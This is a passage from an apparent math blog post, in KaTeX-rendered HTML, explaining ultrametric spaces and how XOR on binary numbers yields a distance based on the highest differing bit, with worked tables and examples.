style="margin-right:0.044em;">z</span><span class="mclose">)</span></span></span></span>, a midpoint.
Thus, closeness is continuous: if you move <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> a little (to <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>+</mo><mi>ε</mi></mrow><annotation encoding="application/x-tex">x + \varepsilon</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">ε</span></span></span></span>), the distance <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mo stretchy="false">(</mo><mi>x</mi><mo>+</mo><mi>ε</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">d(x + \varepsilon, y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ε</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span> can’t jump by more than <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>x</mi><mo>+</mo><mi>ε</mi><mo stretchy="false">)</mo><mo>=</mo><mi>ε</mi></mrow><annotation encoding="application/x-tex">d(x, x + \varepsilon) = \varepsilon</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ε</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">ε</span></span></span></span> relative to <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">d(x, y)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span></span></span></span>, the original distance you started with.
That’s the triangle inequality rearranged: <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="normal">∣</mi><mi>d</mi><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>−</mo><mi>d</mi><mo stretchy="false">(</mo><mi>x</mi><mo>+</mo><mi>ε</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mi mathvariant="normal">∣</mi><mo>≤</mo><mi>ε</mi></mrow><annotation encoding="application/x-tex">|d(x, y) - d(x + \varepsilon, y)| \leq \varepsilon</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">ε</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mord">∣</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">ε</span></span></span></span>.</p>

<p>In an ultrametric space, closeness is a binary hierarchical predicate (i.e. a function that returns true or false).
You’re either in the same subtree at depth <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>, or you’re not.
There’s no “kind of close” — there’s “same branch” or “different branch.”
For instance, distance doesn’t accumulate.
In a normal metric space, distance is additive along paths.
You go from <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> to <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi></mrow><annotation encoding="application/x-tex">y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span> to <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>z</mi></mrow><annotation encoding="application/x-tex">z</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.044em;">z</span></span></span></span>, and the total distance is roughly the sum of the legs.
Distance builds up as you traverse the space — each step contributes, and long routes are long because many small distances piled on top of each other.
In an ultrametric, that arithmetic doesn’t happen because an ultrametric space is a binary tree.
Your distance from <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> to <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>z</mi></mrow><annotation encoding="application/x-tex">z</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.044em;">z</span></span></span></span> is not the sum of anything but the height of the branching point in the tree.
It doesn’t matter how many intermediate nodes you pass through. The moment you cross a branch boundary at height <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi></mrow><annotation encoding="application/x-tex">h</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">h</span></span></span></span>, your distance becomes <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>h</mi></mrow><annotation encoding="application/x-tex">h</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">h</span></span></span></span>.</p>

<div style="text-align: center; font-size: 50px;">⊕</div>

<p>Let’s introduce XOR.
XOR is a bitwise operation on binary numbers.
Here’s the whole rule:</p>

<table>
  <thead>
    <tr>
      <th style="text-align: center">bit <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi></mrow><annotation encoding="application/x-tex">a</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span></th>
      <th style="text-align: center">bit <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>b</mi></mrow><annotation encoding="application/x-tex">b</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">b</span></span></span></span></th>
      <th style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mo>⊕</mo><mi>b</mi></mrow><annotation encoding="application/x-tex">a \oplus b</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">b</span></span></span></span></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center">0</td>
      <td style="text-align: center">0</td>
      <td style="text-align: center">0</td>
    </tr>
    <tr>
      <td style="text-align: center">0</td>
      <td style="text-align: center">1</td>
      <td style="text-align: center">1</td>
    </tr>
    <tr>
      <td style="text-align: center">1</td>
      <td style="text-align: center">0</td>
      <td style="text-align: center">1</td>
    </tr>
    <tr>
      <td style="text-align: center">1</td>
      <td style="text-align: center">1</td>
      <td style="text-align: center">0</td>
    </tr>
  </tbody>
</table>

<p>Think of it as two light switches: if they’re in the same position, the output is off.
If they differ, the output is on.
<strong>Same → 0. Different → 1.</strong></p>

<p>For multi-bit numbers, apply this rule to each bit position independently.
Let’s work out <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>5</mn><mo>⊕</mo><mn>3</mn></mrow><annotation encoding="application/x-tex">5 \oplus 3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">5</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span></span></span></span> by hand:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    5 =  0 1 0 1
    3 =  0 0 1 1
         -------
5 ⊕ 3 =  0 1 1 0  =  6
</code></pre></div></div>

<p>That’s XOR.
It measures <em>disagreement</em> between bits.</p>

<p>Now, can we use XOR as a distance?
Let’s check.</p>

<p>Define:</p>

<span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mtable width="100%"><mtr><mtd width="50%"></mtd><mtd><mrow><msub><mi>d</mi><mo>⊕</mo></msub><mo stretchy="false">(</mo><mi>x</mi><mo separator="true">,</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><msup><mn>2</mn><mrow><mtext>position of the highest bit where </mtext><mi>x</mi><mtext> and </mtext><mi>y</mi><mtext> differ</mtext></mrow></msup></mrow></mtd><mtd width="50%"></mtd><mtd><mtext>(2)</mtext></mtd></mtr></mtable><annotation encoding="application/x-tex">d_\oplus(x, y) = 2^{\text{position of the highest bit where } x \text{ and } y \text{ differ}} \tag{2}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2583em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">⊕</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8991em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">position of the highest bit where </span></span><span class="mord mathnormal mtight">x</span><span class="mord text mtight"><span class="mord mtight"> and </span></span><span class="mord mathnormal mtight" style="margin-right:0.0359em;">y</span><span class="mord text mtight"><span class="mord mtight"> differ</span></span></span></span></span></span></span></span></span></span></span><span class="tag"><span class="strut" style="height:1.1491em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">(</span><span class="mord"><span class="mord">2</span></span><span class="mord">)</span></span></span></span></span></span>

<p>Or equivalently: compute <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>⊕</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x \oplus y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span>, then take <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mo stretchy="false">⌊</mo><msub><mrow><mi>log</mi><mo>⁡</mo></mrow><mn>2</mn></msub><mo stretchy="false">(</mo><mi>x</mi><mo>⊕</mo><mi>y</mi><mo stretchy="false">)</mo><mo stretchy="false">⌋</mo></mrow></msup></mrow><annotation encoding="application/x-tex">2^{\lfloor \log_2(x \oplus y) \rfloor}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.888em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.888em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mopen mtight">⌊</span><span class="mop mtight"><span class="mop mtight"><span class="mtight">l</span><span class="mtight">o</span><span class="mtight" style="margin-right:0.0139em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1944em;"><span style="top:-2.2341em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2659em;"><span></span></span></span></span></span></span><span class="mopen mtight">(</span><span class="mord mathnormal mtight">x</span><span class="mbin mtight">⊕</span><span class="mord mathnormal mtight" style="margin-right:0.0359em;">y</span><span class="mclose mtight">)⌋</span></span></span></span></span></span></span></span></span></span></span></span> — the value of the most significant set bit of the XOR.</p>

<p>For example, verify:</p>

<table>
  <thead>
    <tr>
      <th style="text-align: center">pair</th>
      <th style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>⊕</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x \oplus y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span></th>
      <th style="text-align: center">binary</th>
      <th style="text-align: center">highest bit</th>
      <th style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>d</mi><mo>⊕</mo></msub></mrow><annotation encoding="application/x-tex">d_\oplus</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9028em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2583em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">⊕</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span></span></span></span></th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>d</mi><mo>⊕</mo></msub><mo stretchy="false">(</mo><mn>5</mn><mo separator="true">,</mo><mtext> </mtext><mn>6</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">d_\oplus(5,\ 6)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2583em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">⊕</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord">5</span><span class="mpunct">,</span><span class="mspace"> </span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">6</span><span class="mclose">)</span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>3</mn></mrow><annotation encoding="application/x-tex">3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0011</mn></mrow><annotation encoding="application/x-tex">0011</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0011</span></span></span></span></td>
      <td style="text-align: center">bit 1</td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>1</mn></msup><mo>=</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">2^1 = 2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span></td>
    </tr>
    <tr>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>d</mi><mo>⊕</mo></msub><mo stretchy="false">(</mo><mn>6</mn><mo separator="true">,</mo><mtext> </mtext><mn>14</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">d_\oplus(6,\ 14)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2583em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">⊕</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord">6</span><span class="mpunct">,</span><span class="mspace"> </span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">14</span><span class="mclose">)</span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>8</mn></mrow><annotation encoding="application/x-tex">8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1000</mn></mrow><annotation encoding="application/x-tex">1000</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1000</span></span></span></span></td>
      <td style="text-align: center">bit 3</td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mn>3</mn></msup><mo>=</mo><mn>8</mn></mrow><annotation encoding="application/x-tex">2^3 = 8</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">8</span></span></span></span></td>
    </tr>
    <tr>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>d</mi><mo>⊕</mo></msub><mo stretchy="false">(</mo><mn>5</mn><mo separator="true">,</mo><mtext> </mtext><mn>5</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">d_\oplus(5,\ 5)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2583em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">⊕</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord">5</span><span class="mpunct">,</span><span class="mspace"> </span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">5</span><span class="mclose">)</span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0000</mn></mrow><annotation encoding="application/x-tex">0000</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0000</span></span></span></span></td>
      <td style="text-align: center">—</td>
      <td style="text-align: center"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></td>
    </tr>
  </tbody>
</table>

<blockquote>
  <p><strong>Note:</strong> the astute reader might have noticed that the raw integer value <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>⊕</mo><mi>y</mi></mrow><annotation encoding="application/x-tex">x \oplus y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.0359em;">y</span></span></span></span> is <em>not</em> an ultrametric because it fails for triples like <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mn>5</mn><mo separator="true">,</mo><mn>6</mn><mo separator="true">,</mo><mn>3</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(5, 6, 3)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">5</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">6</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">3</span><span class="mclose">)</span></span></span></span> where <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>5</mn><mo>⊕</mo><mn>3</mn><mo>=</mo><mn>6</mn><mo>&gt;</mo><mi>max</mi><mo>⁡</mo><mo stretchy="false">(</mo><mn>5</mn><mo>⊕</mo><mn>6</mn><mo separator="true">,</mo><mn>6</mn><mo>⊕</mo><mn>3</mn><mo stretchy="false">)</mo><mo>=</mo><mi>max</mi><mo>⁡</mo><mo stretchy="false">(</mo><mn>3</mn><mo separator="true">,</mo><mn>5</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">5 \oplus 3 = 6 &gt; \max(5 \oplus 6, 6 \oplus 3) = \max(3, 5)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">5</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6835em;vertical-align:-0.0391em;"></span><span class="mord">6</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">max</span><span class="mopen">(</span><span class="mord">5</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⊕</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">6</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">6</span><span class="mspace" 